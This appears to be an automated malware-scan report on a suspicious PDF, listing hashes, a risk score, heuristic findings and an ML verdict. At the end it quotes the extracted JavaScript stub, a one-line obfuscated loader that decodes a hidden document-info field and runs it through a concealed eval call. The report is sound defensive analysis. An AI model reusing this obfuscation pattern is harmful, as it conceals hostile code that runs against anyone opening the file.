PDF static analysis report

Static analysis result for SHA-256 65bc9a6e6e6ff937…

SUSPICIOUS

PDF

9.5 KB First seen: 2013-04-11
MD5: 0aa0334e1047ed9fd0a620a39df55749 SHA-1: e3560d2c8d380b83913ec3a0eae976dc002b9ca4 SHA-256: 65bc9a6e6e6ff9379569d8a7ba9c6a34d7c20791e6d111f057ca0959a0022b36
46 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript

The PDF contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a javascript_obj0011.js artifact. The script attempts to manipulate object properties and execute code, likely to download and run a second-stage payload. The ML classifier strongly suggests malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 2

  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js pdf-javascript-stream PDF /JS object 11 at offset 0x22BF 108 bytes
SHA-256: e3b8ed99dee109ed231cb155f11bd5b0c7b0d0de66095b5007a392b3f6a72126
Preview script
First 1,000 lines of the extracted script
m1=this.info.cduh;m2=m1.replace(/5qqq5/g,"");m9="val";m3=this.info.vfyg.concat(m9);        this[m3](m2);

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